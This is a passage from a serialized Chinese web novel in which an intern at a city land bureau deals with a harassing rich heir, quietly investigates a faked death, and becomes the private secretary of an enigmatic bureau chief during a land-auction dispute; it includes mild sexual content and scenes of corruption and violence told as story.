负责人眯了下眼,想着刚才见到的西装革履的青年,这个人应该就是那个关系户,最近一两年和局长有频繁往来的商人左浩阔的儿子。 负责人的笔尖落在了另外一个还没有报道的实习生名字上,她在大脑中思索了下这个人的身份, 但并没有太多的结果。 办公室的大门被再次敲响, 负责人下意识抬眼, 笔尖悬在半空,下意识屏住了呼吸。 逆光的门框里,一道修长的身影笼罩在一层朦胧的光晕中, 直到迈步走进,那张令人屏息的面容才逐渐清晰。 “您好, 我是贺衍,今年暑期的实习生。” 土地管理局为实习生安排的公寓距离办公点两公里左右, 很多没有自己住房的公职人员也会住在这里。 贺衍没有收拾行李, 他把东西放到住处, 直接离开了房间。只是他刚锁上门, 隔壁房间的大门也被打开了。 一个穿着花衬衫和休闲裤的男人“砰”的一声把大门摔上,声音极大。 “看什么看!”花衬衫男人满脸不爽地朝贺衍这个方向看了过去,但抬眸的瞬间,他的神色忽得呆滞。 年轻男人眼睛飞快眨动, 怒意立刻被笑容取代,他对着贺衍扬了扬手:“哟,你应该就是另一个来这里实习的人吧?我是左丘宽。” 左丘宽比贺衍提前来了一会儿,看到了负责人桌面上的另一个实习生的照片。他本来还以为那张照片是p的,但真人居然长得比照片还要—— “贺衍。” 贺衍微微颔首,并没有过多寒暄的意思,随后转身离开了。 左丘宽翻了白眼,这家伙真是有够装的,板着一脸,TM的,也不给自己一个笑脸。 他的嘴角下抿,不爽地“啧”了一声,左丘宽双手抱胸靠在墙上。 宿舍在九楼,贺衍走到电梯旁,抬手按下了下行的电梯。 黑色薄外套将他的手腕遮得严严实实,只是在他抬腕按电梯时,袖口随着动作微微下滑,露出一截泛红的腕骨,隐约可见几道未消的勒痕,在冷白肌肤上格外扎眼。 左丘宽眼睛忽地睁大,他眼神一暗,直勾勾地盯着那处。 贺衍走进电梯内,电梯关门的瞬间。 左丘宽勾着唇角,吊儿郎当地对贺衍笑了一下。 贺衍轻蹙了下眉。 一个小时后,卢图市警察局。 贺衍迈步走入。 他已经看过了当时的车祸监控,也看到了当初案件卷宗的档案,但具体的细节只有当初负责这个案子的警察才清楚。 案件移交到市局后,负责中央大街车祸案的警察就是孙廊。 虽然不抱希望,但他还是想来看看。 大厅前台的年轻警察打了个哈欠,他余光瞥到有人进来,直接说道:“报案左转。” “我不报案。” 清冽的声线传到耳边,警察的困意立刻消散了大半。 贺衍直接点明了来意:“我想找孙廊,孙警官。” 年轻警察眨了眨眼,有些奇怪地说道:“可是孙廊他两个月前因病去世了。” 去世了?这么巧吗? 贺衍的眼皮跳了一下,眸色晦暗:“但卢图市警察局的官网上警员名单里还有孙警官的名字。” 年轻警察随口说道:“可能是系统没更新吧。” 贺衍唇角扯了一下,真是不出所料。 卢图市第一医院。 周一清晨,窗外还浸在浓稠的夜色里。 贺衍猛地惊醒,他盯着天花板急促地喘息,后背的睡衣已经湿透,黏腻地贴在身上。梦中残留的触感太过真实,无数的手掌在身上游走,从腰窝滑向更隐秘的角落,激起电流般的战栗。 这是他自系统消失后,就再也没有做过的梦。 贺衍猛地掀开薄被,挺起的轮廓在睡裤上勾勒出明显的弧度。 他暗骂了几句,烦躁地起身走进浴室,花洒喷洒,水珠顺着紧绷的腰线滚落,混着几声压抑的闷哼消失在排水口。 周一,实习生活正式开始。 土地管理局小型会议室。 根据工作安排,需要进行为期三天的简单培训。但负责培训的人简单说了一两句,就将学习手册发给了两人,直接离开了房间。 他离开前,对着左丘宽讨好地笑了笑。 贺衍没有在意,他垂下眼眸,翻开了手册,钢笔在纸张上轻轻划动。 阳光透过窗帘洒落,在他的脸上镀上了一层薄薄的浅金色光晕。光线流转间,贺衍眼尾的那颗泪痣时隐时现,随着呼吸的起伏忽明忽暗。 左丘宽不自觉地屏住呼吸,看着那束光线慢慢爬上贺衍的鼻梁,将他冷峻的轮廓勾勒得格外清晰。左丘宽根本没翻开手册,他单手支着下巴坐在旁边,目光肆无忌惮地落在贺衍身上。 贺衍连睫毛都没颤一下,修长的手指平静地翻开下一页。 在纸张翻动的声响里,左丘宽故意将椅子往前挪了半步。 “喂,贺衍,问你个事儿呗?” 贺衍终于抬眼扫了他一眼。 左丘宽嘴角勾起玩味的弧度,目光满是戏谑:“昨天下午三点多那阵,你有没有经过索卡山的那条路,就是卢图机场附近的那条山路。” 左丘宽做了一个极其夸张的表情,丝毫不掩饰自己的恶欲:“你不知道,我那天在路上居然遇到了有人在车.震,里面那个人手腕被捆的,啧啧啧,那一圈都红了。但那个人特别白,而且那双手——” 贺衍充耳不闻,神色淡漠地继续翻阅手册。 他面无表情地垂下眼睑,纸张翻动的声音在会议室内格外清晰。 钢笔尖在纸面上投下一道锐利的阴影,修长的手指稳稳地握着钢笔,只是那手背上的青筋凸起,清晰可见。 左丘宽眯起眼睛,继续用那种□□的目光看着贺衍,他目光在贺衍的身上游走,最终落在被严严实实遮住的手腕那里。 他瞥了眼房间的监控,他记得明明让人关掉了,怎么又亮起来了。 左丘宽意兴阑珊地耸了耸肩,随意翻了几下书,然后把书一合,摔门离开了。 周一下午,贺衍一到下班时间,就立刻离开了土地管理局。 卢图市第一医院。 前台的护士看着逐渐走近的超级帅哥,立刻扬起笑脸:“先生,请问有什么可以帮助您的?” 贺衍拿着乔装过的土地管理局的工作证在桌面上敲了敲。 金属徽章,钢印,护士的瞳孔骤然收缩,想当然地把这当成了警察证。 “有个案子的事情需要问你,涉及机密,请不要声张。” 贺衍适时俯身,食指放到了唇间,轻声问道:“今年二月二十九号凌晨,因为车祸从中央大街送过来的那个病患的信息,你现在能找到吗?” 看到突然放大的俊脸,护士心脏剧烈跳动着,她点了点头。 二十分钟后,贺衍离开了医院。 [病人因车祸头部受伤,已成功抢救,于当天下午被亲属接走] 他看着手机里电子病历,冷光映在了他眼底,瞳孔的周围凝着一层寒霜。当初医院的那通电话,的确只是杭凌一的母亲江如诗编织的一个死亡谎言。 江如诗不会无缘无故地做出这个决定,贺衍的指尖落在了“成功抢救”四个字上,她是为了什么?杭凌一又为什么要选择担任经济发展局的副局长,他在想什么? 杭凌一到底有没有恢复记忆,自己来到奎尔丹尼州这件事和杭凌一又有关系吗? 贺衍深吸了一口气,眸中的情绪被他压了下去。 为期三天的实习培训已经结束,剩下的时间,左丘宽没有出现在土地管理局,但从上到下,没有一人对他的缺席质疑。 周四,贺衍正式开始了他在卢图市土地管理局法务部的实习工作。 作为新来的实习生,他的主要职责是对涉及土地开发转让的相关合同进行合法性进行初步的审查。 卢图市近段时间因为招商引资的政策,商户落地很多,因此大大小小的合同也很多。 临近中午,土地管理局秘书处的向宏达背着手走进办公室,他向主官吩咐了一些事情后,扫视了一眼,踱步到贺衍工位前。 他皱着眉头,指节重重叩击着桌面:“贺衍,虽然你只是一个实习生,但在政府部门工作,最重要的是严谨。” 向宏达的目光扫过桌角那摞已经审完的合同,继续说道:“你看这么快,难免有囫囵吞枣之嫌。万一出了纰漏,后续环节的同事都要跟着担责。” 贺衍从正在审阅的合同中抬起头,嘴角几不可察地抽动了一下。 办公室内的另外一个人对贺衍使了眼神,等主官走了之后,他凑到了贺衍旁边。 “小贺,”他压低声音,手指点了点贺衍审完的那叠文件,“我刚才偷瞄了几眼,你指出的问题比我们这些老职工都到位。” 他说着朝主管离开的方向撇了撇嘴:“那家伙整天就知道对局长溜须拍马,要不然也升不到这个位置。不过咱们这儿审合同,拖个把月都是常事,你也不用这么较真。” 贺衍眸色暗了暗,他点了点头。 傍晚,下班后,贺衍走出土地管理局,扫了一辆共享单车。 共享单车的扫码声刚响起,一辆亮蓝色的跑车突然横停在人行道前,引擎盖上的车标在夕阳下闪着光。 车窗降下,左丘宽手指在方向盘上敲着:“三百多万的车,顺路送你一程?” 左丘宽摘下墨镜,眼神轻挑地,他勾着唇角看向贺衍:“你也知道,等我实习结束,随便就能当个部长玩玩。” 贺衍连眼神都没给一个,单车锁“咔嗒”一声弹开,左丘宽脸色瞬间阴沉。 “装什么清高!”他猛地推开车门,气急败坏地从车上下来。 “给你脸不要,你真当我不清楚几天前在那辆车上的是你啊。我都查清楚了,机场监控拍得清清楚楚,你当时从机场出来后坐的就是那辆车。” 左丘宽忽然压低声音,带着黏腻的恶意凑近:“你难道不知道,我爸是左浩阔。卢图市一大半的地皮都被我家包了,连土地管理局的局长也要看我家的面子。” 贺衍掀了下眼皮:“所以?” 左丘宽突然伸手攥住他的车把:“信不信我明天就能让你滚出土地管理局?” 他另一只手作势要碰贺衍的手:“除非你现在……” 话音未落,贺衍突然松开车把,失去支撑的单车重重砸在左丘宽的身上。 他往旁边躲了一下,但还是狼狈地摔到了地上。 “你给我等着!”在左丘宽暴怒的咒骂声中,贺衍重新扶好单车,骑车离开了。 不远处,一个气质沉稳的男人从土地管理局的大门走出,他的身量很高,衬得身后的人愈发肥头大耳。 向宏达一脸笑意地说了一堆,没人理他也不尴尬。他擦了擦额头上的汗,也不知道林局是怎么一回事,生了一场病之后,整个人都变得怪怪的。 前几天还说要重新整改秘书处,他费了好大的劲才爬这么高,可不能丢了这个位置。 向宏达顺着男人的目光看过去:“林局,这两人是新来的实习生。您别生气,我一会儿一定好好管教他们。” “那是左浩阔的儿子。” 林闵的声音不大,却像一柄薄刃刮过了向宏达的耳膜。他心里一惊,完全摸不准林闵到底是什么意思,只能点了点头:“是,那的确是左总家的公子。” “左浩阔想要郊区的地。”林闵朝路对面扫了一眼,亮蓝色的超跑已经驶离,“你说,我该让他等多久?” 男人站在门前,背后的大门上的联邦徽章闪着冷肃的反光。 向宏达咽了口唾沫,难道他和左浩阔闹翻了,但前阵子明明还批了左家的土地申请,难道是钱没给到位? 他忽然想起左家前阵子塞进他口袋的那张卡,他可是答应了要给左家说好话的。 他抬头,正对上林闵垂落的视线,后颈瞬时沁出冷汗。 “左家这些年,也确实挺守规矩的。”向宏达斟酌着字句,“上回西边那片地,他们比合同期提前了半个月竣工。” 林闵忽然笑了,目光掠过向宏达僵硬的肩线:“这事你倒是清楚。” 空气凝滞成冰。 向宏达不敢回话,他低下头,后背瞬间被冷汗浸湿,这位的心思现在愈发捉摸不透了。 黑色轿车无声停到眼前,林闵坐上车。 向宏达俯身鞠躬,车窗里映出了他略显惨白的脸。 土地管理局公寓。 凌晨一点多,贺衍睡得正熟,伴随难听的咒骂,劣质啤酒瓶砸在门板上的闷响混着含糊不清的咒骂从门外传来。 贺衍猛然睁眼,眼底翻涌着未消的睡意和戾气。 他一把掀开被子,猫眼里,一个染着黄毛的混混正用鞋踹着门框,他的脖子和手臂上有一大串纹身,身后还有一堆还没来得及砸的完整啤酒瓶。 门锁转动的瞬间,黄毛还没收回脚,没站稳就被拽进了屋内,后脑勺重重磕在了地面上。 “等……” 卷头落在身上,黄毛蜷缩起身体,疼得干呕出声,余光里瞥到了一张满是冷鸷的脸。 黄毛被打得鼻青脸肿,他死死地抱住头,趁着间隙大声喊道:“大哥!爷爷!祖宗!是,是有人花钱让我——” 贺衍甩了甩手,居高临下地睨着他,表情森然:“继续说。” 黄毛哆嗦着掏出手机:“这个人说大哥你惹了他,要给你个教训。” “他是谁?” 昏黑的房间里,只有月光落进来,一切都是模糊一片,衬得贺衍愈发的阴森恐怖。 黄毛吓得一个激灵,他哆嗦着抱住贺衍的小腿,但是被踢开了。 他更害怕了,止不住地求饶:“这个我真的不知道啊,他就是突然加了我,给我转了五千,让您这几天都睡不成觉,要是事成之后再给我一万。” 贺衍记下了黄毛的号码和联系他的那个人的微讯号:“把门口给我打扫干净,之后要是我再看见你——” 黄毛鼻涕眼泪糊了一脸:“大哥您放心,我一定弄得干干净净,然后就立刻麻溜地滚,保证您这辈子都见不到我。” 第二天上班,贺衍看着人事处左丘宽留下的联系方式,毫不意外,和他记下的微讯号完全相同。 但这几天左丘宽都不见人影,他不住在土地管理局分配的公寓,晚上也没有人再来骚扰自己,贺衍暂时没有计较这件事。 周五中午,贺衍吃完饭回到工位上,午休的谈笑声像是被按了暂停键一样,别人看他的眼神都带上了些许的欲言又止。 贺衍当作什么都不知道,面色如常地坐下。很快,就有人告诉了他原因:“小贺,刚才向秘书来了一趟,说要是你回来了,下午四点半,去一趟局长办公室。” 贺衍微微挑了下眉,想到前几天左丘宽要让自己滚蛋的话,结合到这些天听到有关局长的传闻,他忽然意识到了什么。 或许这位爱听马屁,贪污腐败的局长,是打算把自己辞退。 不过这种小事,用得着这位林局长出手吗? 下午四点半,贺衍准时敲响了局长办公室的大门。 “我是贺衍,您让我过来找您。” 清冽又有厚度的声音从门内传来:“进来吧。” 贺衍推开了厚重的实木门。 午后的阳光斜斜落入室内,在办公室的中央分割出一道明暗交界线。 林闵就坐在光影交界处。 传闻中贪婪腐败的局长此刻正在低头批阅文件,听到开门声,他缓缓抬眼。 那一瞬间,贺衍呼吸微滞。 和照片上一样,林闵的长相并不出众,但和平面照片不一样,那双眼睛太静了。 像一渊深不见底的寒潭,让人本能地感到危险。 这双眼睛里没有贪婪闪烁,也没有上位者惯有的傲慢,只有一种近乎冷漠的专注。 阳光在他的脸上投下了细碎的光影,更显得那双眼深不可测。 贺衍不动声色地调整呼吸,他的眼中闪过一丝疑惑,这位林局长,看着跟传闻的倒是不太一样。 他见过太多道貌岸然的伪君子,但眼前这个男人的气场太过特别,那不是装出来的威严,而是骨子里透出来的压迫感。 办公桌上整齐摆放的文件,墙上悬挂的市政规划图,扣到最上面一颗的衬衫纽扣,甚至是那双平静无波的眼睛……这一切都透着一种近乎苛刻的秩序感。 但贺衍已经过了以貌取人的年龄,气质可以伪装,更何况传闻并非空穴来风,毕竟左家确实是在他上任后迅速崛起,但那些关于“贪官”的定论,下得或许太草率了,这个男人恐怕远不止贪污受贿那么简单。 林闵握着钢笔,笔尖在文件上划出利落的痕迹。 这个男人甚至不需要刻意施压,仅仅是坐在那里,就让人本能地绷紧神经。 贺衍站在门边,没有贸然开口,也没有擅自坐下,他在等一个明确的指令。 但空气凝滞,只有钢笔与纸面摩擦的沙沙声。 四十多分钟过去,林闵终于搁下钢笔,整齐地摆放在了桌面一侧。 金属笔身轻轻磕在了实木桌面上。 贺衍始终保持着同一个姿势站在那里,但早已经开始游神,直到听到这个声音,他才回过神来。 林闵半掀着眼皮,目光从贺衍身上扫过,不疾不徐,带着上位者特有的审视,仿佛能轻易穿透所有伪装,直抵人心最隐秘的角落。 贺衍迎上他的视线,脊背挺直,神色平静。 林闵开口:“贺衍,你的专业是法学,对吗?” “是。”贺衍回答,语气不卑不亢。 林闵指尖在桌面上轻叩了一下,目光仍锁定在他脸上,似乎在评估什么。 半晌,他淡淡道:“法务部不需要你了。” 贺衍神色未变,他微微垂眸,掩住了眼底的嘲意,虽然早已经知道会是这个结果,但被人晾在这里了四十多分钟,还真是有些不爽。 “下周直接来秘书处报到。” 林闵说完,重新拿起了钢笔,仿佛刚才的决定不过是随手批阅的一份文件,不值一提。 贺衍眨了下眼睛,睫毛在眼下投下一小片阴影。他罕见地愣在了原地,连呼吸都停滞了一瞬,他刚才听到那句话,是幻觉吗? “有问题?”林闵突然开口,声音不轻不重,却让贺衍后背一紧。 男人依旧没有抬头。 贺衍深吸一口气,声音平稳得连自己都有些意外:“没有,林局。” 他顿了顿,又补充道:“下周一,我会到秘书处报到。” 林闵终于抬起眼帘:“出去吧。” 第128章 第 128 章 私人秘书? 局长办公室门外, 向宏达正站在门外等待,在贺衍出来之后,他连正眼都没有看贺衍一眼, 几乎是立刻敲门走进了门内。 贺衍的眉峰微微蹙起, 他缓步走着,脑海中不断回映着方才办公室里的每一帧画面。 林闵身上的那种气质, 不是刻意营造的威严,更像是经年累月浸润在权力中心淬炼出的从容。 贺衍眼底闪过一丝深思,林闵的配偶父亲是州政府退下来的老领导,他的履历任谁看了都会得出同一个结论,一个靠姻亲关系上位的平庸之辈。 可方才办公室里那个男人, 一个靠裙带关系上位的人真的能伪装出那样的气度吗? 但凡是又有万一。 贺衍眯起眼, 左丘宽那日的嘴脸又浮现在了眼前, 他那天说话的神情,其中不屑丝毫不作伪,对林闵也没有任何尊敬。 贺衍脚步微顿, 试图将记忆中左丘宽轻蔑的表情与方才见到的林局长重叠,但怎么也无法想象, 那个连抬眼都带着压迫感的男人,伏低做小会是什么姿态。 走廊尽头的窗户投进一抹斜阳, 贺衍忽然觉得这座市政大楼里的光影, 都透着说不清的诡谲。 现在已经是五点多, 距离下班时间已经过去了十几分钟, 贺衍回到工位上的时候,法务部的人已经离开了。 他收拾了一下物品,放到了工位上。 土地管理局上班的时间是朝九晚五。 周一,贺衍提前半个小时到了工位, 他正准备搬箱子离开,便看到一个同事叼着包子走了进来,这人是之前经常和贺衍聊天的人,叫周威阳,去年刚考到土地管理局,也就比贺衍大个两三岁。 “这么早?”周威阳含糊不清地打了声招呼,却在看清贺衍工位的瞬间噎住了。 他两三下把包子咽下去,脸上堆着欲言又止的同情,颇有些感同身受地说道:“小贺,你也别难过,反正只是实习而已。” 他压低了声音,手指按了下太阳穴,露出了一个心照不宣的苦笑:“反正等到你真正工作了,一定不要惹关系户,不然——” 贺衍的食指无意识地摩挲着纸箱边缘,他抿了下唇,轻咳一声:“我没离职。” “我只是把这些东西搬去秘书处。” “卧槽!”周威阳的声音在空荡的办公室炸开,他猛地捂住嘴,眼睛瞪得滚圆:“难道上周林局叫你过去是说这事?!!” 贺衍不太明白他为什么那么震惊,但依旧点了点头。 周威阳把声音再次压低:“你刚来不知道。最近局里流传着一个小道消息,说林局对秘书处那帮老人很不满,要在局里挑新人培养。” 说到这他突然卡住,上下打量着贺衍,活像在看什么珍稀动物:“但你这实习满打满算不也才一周吗?他怎么会……” 原来是这样,贺衍眸色闪烁,脑海中浮现了和周威阳同样的疑惑。 贺衍的确不在乎会不会被辞退,毕竟他最开始实习的目标也不是这里,更何况上周他一连查了几个地方都处处碰壁。 他甚至考虑过要不要拜托什么人把他调到淮新去,毕竟解决这些疑问的最佳办法就是像问题的源头溯源。 即便杭凌一真的失忆,只要他拿出之前两人交流往来的证据和那份证明材料,或许会有些波折,但他相信杭凌一会依旧相信自己。 但这是在见过这位林局长之前,自己的想法。 贺衍搬起箱子,迈步走向楼梯。 这位林局长,就是自己来卢图市的突破口也说不准。 秘书处和局长办公室在同一个楼层。 秘书处一共有三人,包括秘书长和两位普通秘书。 目前担任秘书长职位的是向宏达,因此在土地管理局内部,除了局长林闵之外,最能说得上话权力最高的就是向秘书了。 贺衍敲了敲门,但无人应答,他看了眼里面明显开着灯的秘书处,拧动了一下门把手,他试着下压,锁芯发出细微的咔哒声,却纹丝不动。 有人反锁了。 贺衍眉梢微挑,他索性后退半步,双手插兜靠在墙边,目光平静地注视着紧闭的门扉。 距离九点还有一分钟的时候,秘书处的大门从里面被打开了。 开门的正是向宏达,而秘书处里,也只有他一个人。 向宏达耷拉着一张脸,一脸阴沉地看着贺衍:“来得这么晚,一点规矩都不懂?不知道要提前来交接?” “向秘书,局里规定的工作时间是九点,现在正好。” 向宏达撇了撇嘴,眼底还挂着几分不加收敛的得意:“秘书处可不一样!林局最讨厌不守时的人了,你一会儿可是要去见林局,现在可已经超过九点了。” 向宏达脸两侧的肥肉颤了颤,一脸小人得志的模样。 贺衍直起身,向前了一步,他比向宏达要高很多,此时向宏达不得不仰头看着他,连得意的神色也僵了一下。 “多谢提醒。”贺衍平淡地回了句,“向秘书,请问我的工位在哪里?” 空气骤然凝固。 向宏达的喉结滚动了一下,甚至能听见他后槽牙摩擦的声音:“拿着你的那一箱破烂,跟我来。” 向宏达带着贺衍,往局长办公室的方向走了过去。 贺衍眉头蹙起,他的工作地点不在秘书处? 向宏达最终在局长办公室隔壁,一个没有标识的房门前停下。他狠狠地啐了贺衍一口,要不是这家伙只是一个实习生,最多只会替代自己一个月,不然他绝对要整死这小子。 向宏达扔给了贺衍一把钥匙,硬邦邦地说道:“这里是局长的私人秘书的房间,以后你就在这里工作。” 说完这句话,向宏达一句话没再吩咐,直接离开了。 私人秘书,他怎么又成林闵的私人秘书了?! 贺衍用钥匙打开房门,这是一间标准的办公室,但旁边各有两扇门。 一扇门可以直接推开,里面是休息的卧室。另一扇门却紧闭着,没有钥匙,也无法打开。 贺衍眉梢微蹙,这个方向,似乎是—— 局长办公室?! 桌面上的座机忽然响起来,贺衍神情一凛,接通了电话。 果不其然,林闵的声音从听筒中传出,听不出任何感情:“过来我办公室。” 简单地吩咐了一句后,电话被对面挂断,只余下一串忙音在贺衍耳畔回荡。 贺衍眼神闪烁,他放下话筒,敲门后推开了隔壁办公室的大门。 “林局,您有什么吩咐。” 听到动静,林闵屈指轻叩桌面:“打开。” 贺衍走近,看到一份标着“东郊C-2”的文件夹。 “周三左浩阔要来谈这块地。”林闵终于抬眼,那双深不见底的眼眸直视贺衍,“看完说说想法。” 贺衍下意识抬眸,看了他一眼,但总感觉林闵的眼睛颜色和昨晚有微妙的区别,似乎不再是纯粹的黑,但也不是棕色,更像是—— 贺衍心底疑惑一闪而过,但并没有在心底留下多少痕迹。 他点了点头,低头翻开了文件,这是截至上周五,东郊C-2地皮的拍卖信息。 贺衍的瞳孔微不可察地收缩了一下,这块地皮面积有一千平方米,之前是一个小型的生物制药工厂,但因为去年药品生产被检验出不合格,目前这家工厂已经被政府关停,地皮正在拍卖中。 其中出价最高的就是左浩阔的企业。 这个流程,实在是太过于熟悉了。先事以质量问题关停工厂,然后再低价拍卖,最后再通过政府收购赚取高额利差。 这难道是在试探,林闵难道之前就知道自己在查这些东西吗?还是说,这个生物制药工厂的确存在问题。 贺衍指尖在纸页上停顿,随后又若无其事地继续翻看。 纸张发出细微的沙沙声。 “想法?” 林闵的声音突然响起,贺衍睫毛轻颤,他抬眼望去,却意外发现对方眼中并无预想中的审视。 这种感觉有点像上辈子刚进律所的时候给老板做案例汇报,但比起那种普通的汇报,这种难言的压迫感要强上太多。 贺衍合上文件,大脑飞速运转,指腹无意识地摩挲着纸张边缘,他斟酌着用词:“这块地的拍卖流程,似乎比常规程序快了不少。” 贺衍神情中闪过一丝懊悔,这句话试探的意思是不是太过明显了。 但林闵只是轻轻“嗯”了一声,钢笔尖正指向文件上某个日期,从发布竞标到开始竞标,比常规流程少了至少两周。 “继续说。” 贺衍的呼吸微微一滞,他忽然意识到,眼前这个男人或许根本不是要他说自己的想法,而是在看他到底能从这份文件里分析出多少信息。 更像是—— 考核? 莫名其妙的,贺衍的脑子里突然蹦出这个词来。 第129章 第 129 章 枪? 贺衍眨了下眼, 声音平稳地继续指出自己看到的异常之处。 林闵的表情始终平淡,他并没有看贺衍,直到贺衍说完最后一个字。 “你漏了一点。”林闵突然开口, “看一下第三方担保人。” 这个有什么问题吗? 贺衍神色微怔, 左浩阔的第三方担保人来自卢图市的商业协会,是协会的副会长。 贺衍眼睛一亮:“这个职务, 可以接触到竞标内幕消息。” 林闵的唇角几不可察地扬了下,不过他没有肯定也没有否定,只是说道:“文件既然已经看过了,那今天下班前,我要看到对内容的分析报告。” 贺衍嘴角微不可察地抽动了一下, 一天不到时间写出一份完整的分析报告? 林闵似乎察觉到了他的情绪, 缓缓抬眸。 他的声音依旧平静, 却带着不容置疑的压迫感:“做不到吗?” 贺衍不是那种会被激将的性格,可不知为何,他鬼使神差地点了点头。 太阳西斜, 办公室的日光的影子也变了方向。 当天下午,距离下班还有半个小时, 贺衍的双手终于离开了电脑键盘。 他长舒了一口气,再次检查了一遍文件格式和内容。 打印机正在一点点把文档打印出来, 贺衍双手按揉着发胀的大脑。 这种被工作充满的感觉, 他已经太久没有体会到了。 但现在马上就要下班了, 林闵会不会已经离开土地管理局了, 贺衍装订好文件,正准备走向隔壁。 手机却忽地震动,紧接着铃声响了起来。 屏幕上跳动着岑靳的名字。 “贺衍我家那个老头子说开会的时候,裴行赫的声音很虚弱, 脸色也很苍白。他似乎病得还不轻,但具体是什么病,目前没有对外界公布。”岑靳说到后面,声音也严肃了起来:“但最近很多事情,都是罗勋章在处理。” 没有总统的任命,罗勋章也不会有这个权力和资格。 贺衍眉头拧起来:“你的意思是,罗勋章已经成为实际上的副总统了吗?” 岑靳肯定了贺衍的想法,他继续说道:“最近杭凌一经常拜访罗府。贺衍,人都是会变的,你没必要为了他——” 淮新。 岑靳眉峰微压,灰蓝的瞳孔满是暗色,夹杂着几分妒意。 直到听筒里传来忙音,他才发现对面已经挂断了电话。岑靳喉结滚了滚,拿着手机的指节因为用力泛着白。 他从鼻腔里挤出一声短促的嗤笑,最终化作一个自嘲的摇头。 卢图市,土地管理局。 贺衍敲响了局长办公室的大门。 林闵依旧还在,他接过文件,一页页翻过,目光在纸面上缓慢移动。 一时间,空气里只剩下纸张翻动的沙沙声。 贺衍抿了下唇,下颌紧绷。撰写分析报告他并不陌生,更何况这份文件里的问题他都已经清楚,但即便是之前面对学校里的老教授,他也很难有这种紧张的情绪。 自己现在几乎能背出报告里的每一行字。 终于,林闵合上文件,指尖在封面上轻轻一叩:“嗯,可以。” 林闵抬眸,目光在他脸上停留了一瞬,语气依旧平淡,却隐约透出一丝极淡的满意:“周三,你跟我一起见左浩阔。” 太奇怪了,如果传闻是真的,林闵和左浩阔真的有勾结,他完全不需要让自己参与,否则更会落人口实。 还是说,林闵想要与左浩阔切割,而自己这个跟所有人利益都无关的实习生,是博弈中最完美的证人。 所以才会有今天的考验和指导。 贺衍睫毛微垂,遮住眼底闪过的思量。 他神色平静地点头,刚准备离开,却听见林闵又补了一句:“记得穿上正装。” 林闵的声音很低,带着一种不容置疑的沉稳,像是长辈在叮嘱晚辈,却又比那更冷硬,更加不容反驳。 贺衍脚步微顿,回头看了林闵一眼。 光影交错,林闵的瞳色又浮现出了一丝极淡的蓝。 周三下午,会议室。 左浩阔推门而入,脸上挂着志在必得的笑容,甚至没等林闵开口,他就直接坐到了对面的沙发上,自顾自地说道:“老林啊,你看我们上次都说好的,东郊那块地不是肯定会给我,怎么这次又搞这么正式?” 他的目光扫过贺衍,神色中闪过一丝疑惑,向宏达不是说跟在林闵身边的就是一个毛头小子,但是这家伙看着可一点不普通。 贺衍平静地和左浩阔对视,微微颔首。 左好阔眼皮跳了一下,他的目光再次落到林闵身上,忽然打了个冷战。 “价高者得,这是拍卖的规矩。” 左浩阔被噎了一下,脸色变得不自然,他眉头一皱:“林闵你什么意思,又想要钱?!” 贺衍微眯了下眼,真是完全不避讳自己的存在啊。 林闵淡淡道:“东郊那片地,的确是规划好的高铁线路,但也可以不是。” 左浩阔听着听着,琢磨出不对劲儿来。 他猛地拍了一下桌子,表情越来越难看。 林闵神色未变,只是淡淡地开口:“贺衍,把竞标流程再复述一遍。” 贺衍微怔,但很快便反应过来,流畅地将整个流程和关键点一一说明。 左浩阔原本以为这次谈判不过是走个过场,但林闵这老东西不剥自己一层皮,看来是誓不罢休。 “我可以再给你——” 左浩阔伸出了手,比了个数字。 林闵掀起眼皮看了左浩阔一眼,盯得他头皮发麻。 左浩阔干笑了一声,他咽了一口唾沫,林闵这个家伙,怎么变得这么油盐不进。 “当初你跟那位交易,可没这么小气啊。” 左浩阔瞳孔紧缩,后背瞬间沁出冷汗,他隐约感觉到,自己似乎踩到了某条不该踩的线。 会议结束后,贺衍跟在林闵身后走出会议室,脑海中仍回放着刚才的谈判细节。 “那位”是哪位? 为什么林闵说完这句话后,左浩阔就直接离开了。 走在前面的林闵忽然停下脚步,回头看了他一眼:“今天表现不错。” 林闵的语气依旧平淡,却带有一丝极淡几乎难以察觉的赞许。 阳光从走廊尽头的窗户洒进来,将林闵的身影拉得很长。 贺衍看着他的背影,抬手揉了揉太阳穴,他总觉得有什么关键线索被自己遗漏了,这种如鲠在喉的感觉实在令人不快。 土地管理局公寓。 贺衍拨通了鄢忬的电话。 铃声响了很长时间,就在贺衍以为对面有事无法接听的时候,电话被接通了。 “阿衍,有事吗?” 背景里有窸窸窣窣的脚步声,但很快这些杂音就消失了。 “你在忙吗?抱歉,那我——” “我不忙,阿衍想说什么?”鄢忬温润的声音透过听筒传到耳畔,他的声音有些低沉,还带着些微的哑。 “林闵的资料真的没有问题吗?” “卢图市土地管理局那个?”鄢忬似乎在回忆,“资料不会有问题。” 他顿了顿,声音更轻了几分:“阿衍觉得他哪里不对劲?” 贺衍眉梢微蹙,指尖无意识摩挲着手机边缘:“我感觉他不太像那种常规意义上的贪官,更像是——” 贺衍有些形容不出来,他沉默了一会儿。 电话那头突然传来几声压抑的咳嗽,像被刻意闷在了掌心里。 贺衍立刻坐直了身子:“叔叔,你生病了?” “只是小感冒。” 贺衍主动挂断了电话:“那你先休息吧,之后再联系。” 电话传来一声几不可闻的叹息,最终却只是轻轻应了一声“好”。 暑期实习为期六周,八月中旬结束。 现在已经是八月初,实习已经过去了一大半。相比于最开始的几天的轻松,贺衍后面的日子过得极其充实。 虽然他名义上是林闵的私人秘书,但是莫名其妙的,从内部文件研判到政策分析,到最后甚至发展成了他每隔两天都要写一份报告,然后再把这些报告交给林闵审阅,直到他满意为止。 这大半个月来,他的活动范围被压缩到极致,周六周日都要在局里查资料,有时候就直接睡在了办公室的卧室内。 午睡过后,贺衍挣扎着睁开了眼睛,还未睡醒的眼尾泛着红。 贺衍瞥到眼前只完成了一半的分析报告,忽然长叹了一口气。 要不是他真能从这里面学到东西,他真的想要撂担子不干了。这十几天他过得比上辈子写毕业论文的时候还要难。 桌面上的内线电话响了起来。 贺衍的声音里还带着刚睡醒的鼻音,有些含糊地说道:“林局,我的分析报告还没有写完。” 不知道是不是错觉,对面似乎笑了一下。 “回来再写,你回去收拾一下行李,我们下午要去塔科。” 塔科是奎尔丹尼州的首府。 贺衍脑子还有些不太清醒:“为什么要去那里?” “开会。”冷淡又有磁性的嗓音从电话那头响起,但这道声音和林闵的音色完全不一样。 贺衍愣了一下,忽地清醒过来。 但对面已经挂断了,贺衍揉了揉太阳穴,以为刚才只是神志昏沉的幻觉。 下午三点半,一辆通体漆黑的黑车停到了土地管理局公寓楼下。 